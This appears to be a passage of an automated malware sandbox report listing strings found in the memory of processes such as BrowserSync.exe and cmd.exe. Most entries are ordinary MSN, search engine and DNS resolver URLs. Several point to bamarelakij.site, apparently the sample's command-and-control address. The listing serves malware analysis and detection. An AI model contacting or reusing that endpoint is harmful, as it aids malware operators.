Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com/v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3AADB05F
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/RewardsData.ccbbf385e0c5fd6a94ec.js
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/RewardsData.ccbbf385e0c5fd6a94ec.js67c1cb4d144
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/background-gallery.078daa21cfb37d404ae1.js
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.004373b4b46f289247a2.js
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.004373b4b46f289247a2.js9ce.js;
Source: BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-settings-edgenext.efcc83f9de3a84ade481.
Source: BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-windows-widget-shared.e08001e82718cdb13
Source: BrowserSync.exe, 0000000D.00000003.2316394585.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common.3cb494f1f1d69e51ebfa.js
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350774147.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319211807.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/experience.e2a54c2fbad598371348.js
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350774147.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319211807.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/experience.e2a54c2fbad598371348.jsnibox
Source: BrowserSync.exe, 0000000D.00000003.2362624175.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_feedback-service_dist_FeedbackAuth_js-web
Source: BrowserSync.exe, 0000000D.00000003.2386602120.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_super-feed_dist_feed-manager_FeedManagerW
Source: BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connec
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.94c0190808bd5252056f.js
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.94c0190808bd5252056f.js992&w=
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js(
Source: BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_j
Source: BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-banner.cef8d219ef568729016b.js
Source: BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-placement-manager.52a7b8467c1cb4d144
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.13e1b09423b11e6198b5.js
Source: BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.13e1b09423b11e6198b5.js008&w=0
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.13e1b09423b11e6198b5.jsation
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/sign-in-control-wc.367cab6cb9bb41af1876.js
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/super-nav.f473b5fc8e70a6fb62b0.js
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/superBreakingNews.2c317965ccb59781fd03.js
Source: BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.5e95a6e8b96055fbd144.js
Source: BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.5e95a6e8b96055fbd144.jse3a84ade481.j
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/welcomeGreetingLight.b8e9005e9e1d704176a2.js
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId
Source: BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361533983.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361957504.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/service/news/feed/pages/weblayout?User=m-3AADB05FC3906D36247DA530C2F26CF4&act
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2323419854.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/statics/icons/favicon_newtabpage.png
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svgn
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneNote_24x.svg
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg=jpg&u=t.jsa8
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg5.47
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Alert//Alert_WI_Y.svg
Source: BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://azureedge.net
Source: BrowserSync.exe, 0000000D.00000003.2595139325.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/
Source: BrowserSync.exe, 0000000D.00000003.2568892354.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/#jR
Source: BrowserSync.exe, 0000000D.00000003.2568892354.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site//j
Source: BrowserSync.exe, 0000000D.00000003.2578464905.0000000000688000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2568892354.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/3jB
Source: BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E94000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/64.htm
Source: BrowserSync.exe, 0000000D.00000003.2634074359.0000000000641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4
Source: BrowserSync.exe, 0000000D.00000003.2586562381.0000000000688000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2595139325.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/Ki
Source: BrowserSync.exe, 0000000D.00000003.2634074359.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/Wi
Source: BrowserSync.exe, 0000000D.00000003.2634074359.0000000000688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site/ci
Source: BrowserSync.exe, 0000000D.00000003.2634074359.0000000000641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bamarelakij.site:443/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5Ykb
Source: BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bingretailmsndata.azureedge.net/msndata/
Source: BrowserSync.exe, 0000000D.00000003.2382496836.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-strea
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BrowserSync.exe, 0000000D.00000003.2382496836.0000000008023000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: BrowserSync.exe, 0000000D.00000003.2410027416.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: BrowserSync.exe, 0000000D.00000003.2359295175.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2385189412.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2357290413.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382496836.0000000008023000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msny
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations/
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations/
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350774147.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319211807.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.levonet.sk/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns10.quad9.net/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns11.quad9.net/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.opendns.com/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.quickline.ch/dns-query
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com
Source: BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ecs.nel.measure.office.net/?TenantId=Edge&DestinationEndpoint=Edge-Prod-EWR31r5b&FrontEnd=AF
Source: BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/assett
Source: BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: BrowserSync.exe, 0000000D.00000003.2316394585.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11MSkH.img
Source: BrowserSync.exe, 0000000D.00000003.2407825092.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383467712.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA13Q6AL.img
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: BrowserSync.exe, 0000000D.00000003.2407825092.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383467712.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1msDBP.img
Source: BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb
Source: BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1u24ybX-Source-Length:
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1
Source: BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1X-Source-Length:
Source: BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.?0
Source: BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.com
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2323419854.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.
Source: BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361957504.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2410027416.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com
Source: BrowserSync.exe, 0000000D.00000003.2361957504.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/
